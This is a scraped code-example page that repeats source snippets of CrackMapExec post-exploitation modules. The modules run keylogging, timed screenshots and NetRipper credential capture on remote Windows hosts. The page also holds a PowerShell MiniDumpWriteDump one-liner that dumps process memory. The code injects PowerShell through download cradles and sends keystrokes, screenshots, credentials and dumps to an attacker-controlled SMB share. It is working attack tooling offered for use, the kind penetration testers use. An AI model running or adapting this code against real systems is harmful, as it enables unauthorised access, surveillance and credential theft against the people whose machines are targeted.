def options(self, context, module_options):
        '''
        INTERVAL  Specifies the interval in seconds between taking screenshots.
        ENDTIME   Specifies when the script should stop running in the format HH:MM (Military Time).
        '''

        if 'INTERVAL' not in module_options:
            context.log.error('INTERVAL option is required!')
            exit(1)

        if 'ENDTIME' not in module_options:
            context.log.error('ENDTIME option is required!')
            exit(1)

        self.interval = int(module_options['INTERVAL'])
        self.endtime = module_options['ENDTIME']
        self.share_name = gen_random_string(5).upper()

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Screenshots will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script('Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'powersploit/Exfiltration/Get-TimedScreenshot.ps1')

        self.smb_server = CMESMBServer(context.log, self.share_name,
                                       context.log_folder_path)
        self.smb_server.start()
Example #2
0
    def options(self, context, module_options):
        '''
        TIMEOUT   Specifies the interval in minutes to capture keystrokes.
        STREAM    Specifies whether to stream the keys over the network (default: False)
        POLL      Specifies the interval in seconds to poll the log file (default: 20)
        '''

        if 'TIMEOUT' not in module_options:
            context.log.error('TIMEOUT option is required!')
            exit(1)

        self.stream = False
        self.poll = 20
        self.timeout = int(module_options['TIMEOUT'])

        if 'STREAM' in module_options:
            self.stream = bool(module_options['STREAM'])
        if 'POLL' in module_options:
            self.poll = int(module_options['POLL'])

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Keystrokes will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script(
            'cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'powersploit/Exfiltration/Get-Keystrokes.ps1')

        if self.stream:
            self.share_name = gen_random_string(5).upper()
            self.smb_server = CMESMBServer(context.log, self.share_name,
                                           context.log_folder_path)
            self.smb_server.start()
        else:
            self.file_name = gen_random_string(5)
Example #3
0
    def options(self, context, module_options):
        '''
        PROCESS   Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
        '''

        self.process = None

        if 'PROCESS' in module_options:
            self.process = module_options['PROCESS']
        else:
            context.log.error('PROCESS option is required')
            exit(1)

        self.share_name = gen_random_string(5).upper()
        self.ps_script1 = obfs_ps_script(
            'cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'netripper/PowerShell/Invoke-NetRipper.ps1')

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Logs will be stored in ~/.cme/logs\n')

        self.smb_server = CMESMBServer(context.log, self.share_name,
                                       context.log_folder_path)
        self.smb_server.start()
Example #4
0
    def options(self, context, module_options):
        '''
        INTERVAL  Specifies the interval in seconds between taking screenshots.
        ENDTIME   Specifies when the script should stop running in the format HH:MM (Military Time).
        '''

        if 'INTERVAL' not in module_options:
            context.log.error('INTERVAL option is required!')
            exit(1)

        if 'ENDTIME' not in module_options:
            context.log.error('ENDTIME option is required!')
            exit(1)

        self.interval   = int(module_options['INTERVAL'])
        self.endtime    = module_options['ENDTIME']
        self.share_name = gen_random_string(5).upper()

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Screenshots will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-TimedScreenshot.ps1')

        self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
        self.smb_server.start()
Example #5
0
    def options(self, context, module_options):
        '''
        TIMEOUT   Specifies the interval in minutes to capture keystrokes.
        STREAM    Specifies whether to stream the keys over the network (default: False)
        POLL      Specifies the interval in seconds to poll the log file (default: 20)
        '''

        if 'TIMEOUT' not in module_options:
            context.log.error('TIMEOUT option is required!')
            exit(1)

        self.stream  = False
        self.poll    = 20
        self.timeout = int(module_options['TIMEOUT'])
        
        if 'STREAM' in module_options:
            self.stream = bool(module_options['STREAM'])
        if 'POLL' in module_options:
            self.poll = int(module_options['POLL'])

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Keystrokes will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-Keystrokes.ps1')

        if self.stream:
            self.share_name = gen_random_string(5).upper()
            self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
            self.smb_server.start()
        else:
            self.file_name = gen_random_string(5)
Example #6
0
    def _decorator(self, *args, **kwargs):
        global smb_server
        global smb_share_name

        get_output = False
        payload = None
        methods = []

        try:
            payload = args[0]
        except IndexError:
            pass
        try:
            get_output = args[1]
        except IndexError:
            pass

        try:
            methods = args[2]
        except IndexError:
            pass

        if 'payload' in kwargs:
            payload = kwargs['payload']

        if 'get_output' in kwargs:
            get_output = kwargs['get_output']

        if 'methods' in kwargs:
            methods = kwargs['methods']

        if not payload and self.args.execute:
            if not self.args.no_output: get_output = True

        if get_output or (methods and ('smbexec' in methods)):
            if not smb_server:
                #with sem:
                logging.debug('Starting SMB server')
                smb_server = CMESMBServer(self.logger,
                                          smb_share_name,
                                          verbose=self.args.verbose)
                smb_server.start()

        output = func(self, *args, **kwargs)

        if smb_server is not None:
            #with sem:
            smb_server.shutdown()
            smb_server = None

        return output
Example #7
0
    def options(self, context, module_options):
        '''
        PROCESS   Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
        '''

        self.process = None

        if 'PROCESS' in module_options:
            self.process = module_options['PROCESS']
        else:
            context.log.error('PROCESS option is required')
            exit(1)

        self.share_name = gen_random_string(5).upper()
        self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script('netripper/PowerShell/Invoke-NetRipper.ps1')

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Logs will be stored in ~/.cme/logs\n')

        self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
        self.smb_server.start()
Example #8
0
class CMEModule:
    '''
        Injects NetRipper in memory using PowerShell
        Note: NetRipper doesn't support injecting into x64 processes yet, which very much limits its use case

        Module by @byt3bl33d3r
    '''

    name = 'netripper'
    description = "Capture's credentials by using API hooking"
    supported_protocols = ['smb', 'mssql']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        PROCESS   Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
        '''

        self.process = None

        if 'PROCESS' in module_options:
            self.process = module_options['PROCESS']
        else:
            context.log.error('PROCESS option is required')
            exit(1)

        self.share_name = gen_random_string(5).upper()
        self.ps_script1 = obfs_ps_script('Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'netripper/PowerShell/Invoke-NetRipper.ps1')

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Logs will be stored in ~/.cme/logs\n')

        self.smb_server = CMESMBServer(context.log, self.share_name,
                                       context.log_folder_path)
        self.smb_server.start()

    def on_admin_login(self, context, connection):
        log_folder = 'netripper_{}'.format(connection.host)
        command = 'Invoke-NetRipper -LogLocation \\\\{}\\{}\\{}\\ -ProcessName {}'.format(
            context.localip, self.share_name, log_folder, self.process)

        netripper_cmd = gen_ps_iex_cradle(context,
                                          'Invoke-NetRipper.ps1',
                                          command,
                                          post_back=False)
        launcher = gen_ps_inject(netripper_cmd, context)
        ps_command = create_ps_command(launcher)

        connection.execute(ps_command)
        context.log.success('Executed launcher')

    def on_request(self, context, request):
        if 'Invoke-PSInject.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            request.wfile.write(self.ps_script1)

        elif 'Invoke-NetRipper.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            #We received the callback, so lets setup the folder to store the screenshots
            log_folder_path = os.path.join(
                context.log_folder_path,
                'netripper_{}'.format(request.client_address[0]))
            if not os.path.exists(log_folder_path): os.mkdir(log_folder_path)

            request.wfile.write(self.ps_script2)

        else:
            request.send_response(404)
            request.end_headers()

    def on_shutdown(self, context):
        self.smb_server.shutdown()
Example #9
0
    def on_admin_login(self, context, connection):
        def __sleep_and_print(seconds):
            for k in range(1, seconds + 1):
                stdout.write('\r{dot}'.format(dot='.' * k))
                stdout.flush()
                sleep(1)
            stdout.write('\n')

        def format_size(filesize):
            unit = "B"
            size = filesize
            if filesize / 1000000000 > 0:
                unit = "G" + unit
                size = filesize / 1000000000
            elif filesize / 1000000 > 0:
                unit = "M" + unit
                size = filesize / 1000000
            elif filesize / 1000 > 0:
                unit = "K" + unit
                size = filesize / 1000
            return str(size) + unit

        file_name = gen_random_string()
        share_name = gen_random_string()

        if self.fileless:
            smb_server = CMESMBServer(context.log,
                                      share_name,
                                      verbose=context.verbose)
            local_ip = connection.conn.getSMBServer().get_socket().getsockname(
            )[0]
            smb_server.start()

        process_str = self.process
        if self.pid > 0:
            process_str = "-Id {pid}".format(pid=self.pid)

        output_name = ""
        if self.fileless:
            output_name = r"\\{host}\{share}\{name}".format(host=local_ip,
                                                            share=share_name,
                                                            name=file_name)
        else:
            output_name = r"\\127.0.0.1\ADMIN$\{name}".format(name=file_name)

        # The PowerShell oneliner comes from Out-Minidump: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
        payload = r'''
            $o='{output_file}';$p=Get-Process {process};$m=[PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting').GetNestedType('NativeMethods','NonPublic').GetMethod('MiniDumpWriteDump',[Reflection.BindingFlags]'NonPublic,Static');$fs=New-Object IO.FileStream($o, [IO.FileMode]::Create);$n=[IntPtr]::Zero;$r=$m.Invoke($null,@($p.Handle,$p.Id,$fs.SafeFileHandle,[UInt32] 2,$n,$n,$n));$fs.Close()
        '''.format(output_file=output_name, process=process_str)

        connection.ps_execute(payload)
        context.log.success('Executed launcher')
        context.log.info('Waiting 2s for completion')
        __sleep_and_print(2)

        if self.fileless:
            size = 0
            while True:
                try:
                    new_size = os.path.getsize(
                        os.path.join("/tmp", "cme_hosted", file_name))
                    if new_size == size:
                        break
                    else:
                        __sleep_and_print(2)
                        size = new_size
                except OSError:
                    __sleep_and_print(2)

            smb_server.shutdown()
            context.log.success(
                "Dump file received: /tmp/cme_hosted/{name}.".format(
                    name=file_name))

        else:
            context.log.info(
                r'Opening: ADMIN$\{output_file}'.format(output_file=file_name))
            f = RemoteFile(connection.conn,
                           file_name,
                           share='ADMIN$',
                           access=FILE_READ_DATA)
            try:
                f.open()
            except SessionError as e:
                print(e)
                context.log.info(
                    'File not found, sleeping to wait for the dump to finish')
                context.log.info('Sleeping 5s')
                __sleep_and_print(5)

                try:
                    f.open()
                except SessionError as e:
                    context.log.error('File not found, aborting..')
                    return

            filesize = f.size()
            context.log.info(
                r'Reading: {output_file}, about {filesize}'.format(
                    output_file=output_name, filesize=format_size(filesize)))
            outputfile = "{host}_{process}_{output_name}.dmp".format(
                host=connection.hostname
                if connection.hostname else connection.host,
                process=process_str.split(" ")[-1]
                if " " in process_str else process_str,
                output_name=file_name)
            output = open(outputfile, "wb")

            pbar = tqdm(total=filesize)
            bytesRead = f.read(BUF_SIZE)
            while bytesRead != '':
                pbar.update(BUF_SIZE)
                output.write(bytesRead)
                bytesRead = f.read(BUF_SIZE)

            output.close()
            pbar.close()
            f.close()
            f.delete()
            context.log.success(
                'Dump file saved as {output} and remote file deleted.'.format(
                    output=outputfile))
class CMEModule:
    '''
        Executes PowerSploit's Get-TimedScreenshot script
        Module by @byt3bl33d3r
    '''

    name = 'get_timedscreenshot'
    description = "Takes screenshots at a regular interval"
    supported_protocols = ['smb', 'mssql']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        INTERVAL  Specifies the interval in seconds between taking screenshots.
        ENDTIME   Specifies when the script should stop running in the format HH:MM (Military Time).
        '''

        if 'INTERVAL' not in module_options:
            context.log.error('INTERVAL option is required!')
            exit(1)

        if 'ENDTIME' not in module_options:
            context.log.error('ENDTIME option is required!')
            exit(1)

        self.interval = int(module_options['INTERVAL'])
        self.endtime = module_options['ENDTIME']
        self.share_name = gen_random_string(5).upper()

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Screenshots will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script('Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'powersploit/Exfiltration/Get-TimedScreenshot.ps1')

        self.smb_server = CMESMBServer(context.log, self.share_name,
                                       context.log_folder_path)
        self.smb_server.start()

    def on_admin_login(self, context, connection):
        screen_folder = 'get_timedscreenshot_{}'.format(connection.host)
        screen_command = 'Get-TimedScreenshot -Path \\\\{}\\{}\\{} -Interval {} -EndTime {}'.format(
            context.localip, self.share_name, screen_folder, self.interval,
            self.endtime)
        screen_command = gen_ps_iex_cradle(context,
                                           'Get-TimedScreenshot.ps1',
                                           screen_command,
                                           post_back=False)

        launcher = gen_ps_inject(screen_command, context)
        ps_command = create_ps_command(launcher)

        connection.execute(ps_command)
        context.log.success('Executed launcher')

    def on_request(self, context, request):
        if 'Invoke-PSInject.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            request.wfile.write(self.ps_script1)

        elif 'Get-TimedScreenshot.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            #We received the callback, so lets setup the folder to store the screenshots
            screen_folder_path = os.path.join(
                context.log_folder_path,
                'get_timedscreenshot_{}'.format(request.client_address[0]))
            if not os.path.exists(screen_folder_path):
                os.mkdir(screen_folder_path)
            #context.log.success('Storing screenshots in {}'.format(screen_folder_path))

            request.wfile.write(self.ps_script2)

        else:
            request.send_response(404)
            request.end_headers()

    def on_shutdown(self, context):
        self.smb_server.shutdown()
Example #11
0
class CMEModule:
    '''
        Executes PowerSploit's Get-Keystrokes script
        Module by @byt3bl33d3r
    '''

    name = 'get_keystrokes'
    description = "Logs keys pressed, time and the active window"
    supported_protocols = ['smb', 'mssql']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        TIMEOUT   Specifies the interval in minutes to capture keystrokes.
        STREAM    Specifies whether to stream the keys over the network (default: False)
        POLL      Specifies the interval in seconds to poll the log file (default: 20)
        '''

        if 'TIMEOUT' not in module_options:
            context.log.error('TIMEOUT option is required!')
            exit(1)

        self.stream = False
        self.poll = 20
        self.timeout = int(module_options['TIMEOUT'])

        if 'STREAM' in module_options:
            self.stream = bool(module_options['STREAM'])
        if 'POLL' in module_options:
            self.poll = int(module_options['POLL'])

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Keystrokes will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script(
            'cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'powersploit/Exfiltration/Get-Keystrokes.ps1')

        if self.stream:
            self.share_name = gen_random_string(5).upper()
            self.smb_server = CMESMBServer(context.log, self.share_name,
                                           context.log_folder_path)
            self.smb_server.start()
        else:
            self.file_name = gen_random_string(5)

    def on_admin_login(self, context, connection):
        keys_folder = 'get_keystrokes_{}'.format(connection.host)

        if not self.stream:
            command = 'Get-Keystrokes -LogPath "$Env:Temp\\{}" -Timeout {}'.format(
                self.file_name, self.timeout)
        else:
            command = 'Get-Keystrokes -LogPath \\\\{}\\{}\\{}\\keys.log -Timeout {}'.format(
                context.localip, self.share_name, keys_folder, self.timeout)

        keys_command = gen_ps_iex_cradle(context,
                                         'Get-Keystrokes.ps1',
                                         command,
                                         post_back=False)

        launcher = gen_ps_inject(keys_command, context)
        ps_command = create_ps_command(launcher)

        connection.execute(ps_command)
        context.log.success('Executed launcher')

        if not self.stream:
            users = connection.loggedon_users()
            keys_folder_path = os.path.join(context.log_folder_path,
                                            keys_folder)

            try:
                while True:
                    for user in users:
                        if '$' not in user.wkui1_username and os.path.exists(
                                keys_folder_path):
                            keys_log = os.path.join(
                                keys_folder_path,
                                'keys_{}.log'.format(user.wkui1_username))

                            with open(keys_log, 'a+') as key_file:
                                file_path = '/Users/{}/AppData/Local/Temp/{}'.format(
                                    user.wkui1_username, self.file_name)
                                try:
                                    connection.conn.getFile(
                                        'C$', file_path, key_file.write)
                                    context.log.success(
                                        'Got keys! Stored in {}'.format(
                                            keys_log))
                                except Exception as e:
                                    context.log.debug(
                                        'Error retrieving key file contents from {}: {}'
                                        .format(file_path, e))

                    sleep(self.poll)
            except KeyboardInterrupt:
                pass

    def on_request(self, context, request):
        if 'Invoke-PSInject.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            request.wfile.write(self.ps_script1)

        elif 'Get-Keystrokes.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            # We received the callback, so lets setup the folder to store the keys
            keys_folder_path = os.path.join(
                context.log_folder_path,
                'get_keystrokes_{}'.format(request.client_address[0]))
            if not os.path.exists(keys_folder_path): os.mkdir(keys_folder_path)

            request.wfile.write(self.ps_script2)
            request.stop_tracking_host()

        else:
            request.send_response(404)
            request.end_headers()

    def on_shutdown(self, context, connection):
        if self.stream:
            self.smb_server.shutdown()
Example #12
0
class CMEModule:
    '''
        Injects NetRipper in memory using PowerShell
        Note: NetRipper doesn't support injecting into x64 processes yet, which very much limits its use case

        Module by @byt3bl33d3r
    '''

    name = 'netripper'
    description = "Capture's credentials by using API hooking"
    supported_protocols = ['smb', 'mssql']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        PROCESS   Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
        '''

        self.process = None

        if 'PROCESS' in module_options:
            self.process = module_options['PROCESS']
        else:
            context.log.error('PROCESS option is required')
            exit(1)

        self.share_name = gen_random_string(5).upper()
        self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script('netripper/PowerShell/Invoke-NetRipper.ps1')

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Logs will be stored in ~/.cme/logs\n')

        self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
        self.smb_server.start()

    def on_admin_login(self, context, connection):
        log_folder = 'netripper_{}'.format(connection.host)
        command = 'Invoke-NetRipper -LogLocation \\\\{}\\{}\\{}\\ -ProcessName {}'.format(context.localip, self.share_name, log_folder, self.process)

        netripper_cmd = gen_ps_iex_cradle(context, 'Invoke-NetRipper.ps1', command, post_back=False)
        launcher = gen_ps_inject(netripper_cmd, context)

        connection.ps_execute(launcher)
        context.log.success('Executed launcher')

    def on_request(self, context, request):
        if 'Invoke-PSInject.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            request.wfile.write(self.ps_script1)

        elif 'Invoke-NetRipper.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            #We received the callback, so lets setup the folder to store the screenshots
            log_folder_path = os.path.join(context.log_folder_path, 'netripper_{}'.format(request.client_address[0]))
            if not os.path.exists(log_folder_path): os.mkdir(log_folder_path)

            request.wfile.write(self.ps_script2)

        else:
            request.send_response(404)
            request.end_headers()

    def on_shutdown(self, context):
        self.smb_server.shutdown()
Example #13
0
class CMEModule:
    '''
        Executes PowerSploit's Get-TimedScreenshot script
        Module by @byt3bl33d3r
    '''

    name = 'get_timedscreenshot'
    description = "Takes screenshots at a regular interval"
    supported_protocols = ['smb', 'mssql']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        INTERVAL  Specifies the interval in seconds between taking screenshots.
        ENDTIME   Specifies when the script should stop running in the format HH:MM (Military Time).
        '''

        if 'INTERVAL' not in module_options:
            context.log.error('INTERVAL option is required!')
            exit(1)

        if 'ENDTIME' not in module_options:
            context.log.error('ENDTIME option is required!')
            exit(1)

        self.interval   = int(module_options['INTERVAL'])
        self.endtime    = module_options['ENDTIME']
        self.share_name = gen_random_string(5).upper()

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Screenshots will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-TimedScreenshot.ps1')

        self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
        self.smb_server.start()

    def on_admin_login(self, context, connection):
        screen_folder = 'get_timedscreenshot_{}'.format(connection.host)
        screen_command = 'Get-TimedScreenshot -Path \\\\{}\\{}\\{} -Interval {} -EndTime {}'.format(context.localip, self.share_name,
                                                                                                    screen_folder, self.interval,
                                                                                                    self.endtime)
        screen_command = gen_ps_iex_cradle(context, 'Get-TimedScreenshot.ps1',
                                           screen_command, post_back=False)

        launcher = gen_ps_inject(screen_command, context)

        connection.ps_execute(launcher)
        context.log.success('Executed launcher')

    def on_request(self, context, request):
        if 'Invoke-PSInject.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            request.wfile.write(self.ps_script1)

        elif 'Get-TimedScreenshot.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            #We received the callback, so lets setup the folder to store the screenshots
            screen_folder_path = os.path.join(context.log_folder_path, 'get_timedscreenshot_{}'.format(request.client_address[0]))
            if not os.path.exists(screen_folder_path): os.mkdir(screen_folder_path)
            #context.log.success('Storing screenshots in {}'.format(screen_folder_path))

            request.wfile.write(self.ps_script2)

        else:
            request.send_response(404)
            request.end_headers()

    def on_shutdown(self, context):
        self.smb_server.shutdown()
Example #14
0
class CMEModule:
    '''
        Executes PowerSploit's Get-Keystrokes script
        Module by @byt3bl33d3r
    '''

    name = 'get_keystrokes'
    description = "Logs keys pressed, time and the active window"
    supported_protocols = ['smb', 'mssql']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        TIMEOUT   Specifies the interval in minutes to capture keystrokes.
        STREAM    Specifies whether to stream the keys over the network (default: False)
        POLL      Specifies the interval in seconds to poll the log file (default: 20)
        '''

        if 'TIMEOUT' not in module_options:
            context.log.error('TIMEOUT option is required!')
            exit(1)

        self.stream  = False
        self.poll    = 20
        self.timeout = int(module_options['TIMEOUT'])
        
        if 'STREAM' in module_options:
            self.stream = bool(module_options['STREAM'])
        if 'POLL' in module_options:
            self.poll = int(module_options['POLL'])

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Keystrokes will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-Keystrokes.ps1')

        if self.stream:
            self.share_name = gen_random_string(5).upper()
            self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
            self.smb_server.start()
        else:
            self.file_name = gen_random_string(5)

    def on_admin_login(self, context, connection):
        keys_folder = 'get_keystrokes_{}'.format(connection.host)

        if not self.stream:
            command = 'Get-Keystrokes -LogPath "$Env:Temp\\{}" -Timeout {}'.format(self.file_name, self.timeout)
        else:
            command = 'Get-Keystrokes -LogPath \\\\{}\\{}\\{}\\keys.log -Timeout {}'.format(context.localip, self.share_name, keys_folder, self.timeout)

        keys_command = gen_ps_iex_cradle(context, 'Get-Keystrokes.ps1', command, post_back=False)

        launcher = gen_ps_inject(keys_command, context)
        ps_command = create_ps_command(launcher)

        connection.execute(ps_command)
        context.log.success('Executed launcher')

        if not self.stream:
            users = connection.loggedon_users()
            keys_folder_path = os.path.join(context.log_folder_path, keys_folder)

            try:
                while True:
                    for user in users:
                        if '$' not in user.wkui1_username and os.path.exists(keys_folder_path):
                            keys_log = os.path.join(keys_folder_path, 'keys_{}.log'.format(user.wkui1_username))

                            with open(keys_log, 'a+') as key_file:
                                file_path = '/Users/{}/AppData/Local/Temp/{}'.format(user.wkui1_username, self.file_name)
                                try:
                                    connection.conn.getFile('C$', file_path, key_file.write)
                                    context.log.success('Got keys! Stored in {}'.format(keys_log))
                                except Exception as e:
                                    context.log.debug('Error retrieving key file contents from {}: {}'.format(file_path, e))

                    sleep(self.poll)
            except KeyboardInterrupt:
                pass

    def on_request(self, context, request):
        if 'Invoke-PSInject.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            request.wfile.write(self.ps_script1)

        elif 'Get-Keystrokes.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            # We received the callback, so lets setup the folder to store the keys
            keys_folder_path = os.path.join(context.log_folder_path, 'get_keystrokes_{}'.format(request.client_address[0]))
            if not os.path.exists(keys_folder_path): os.mkdir(keys_folder_path)

            request.wfile.write(self.ps_script2)
            request.stop_tracking_host()

        else:
            request.send_response(404)
            request.end_headers()

    def on_shutdown(self, context, connection):
        if self.stream:
            self.smb_server.shutdown()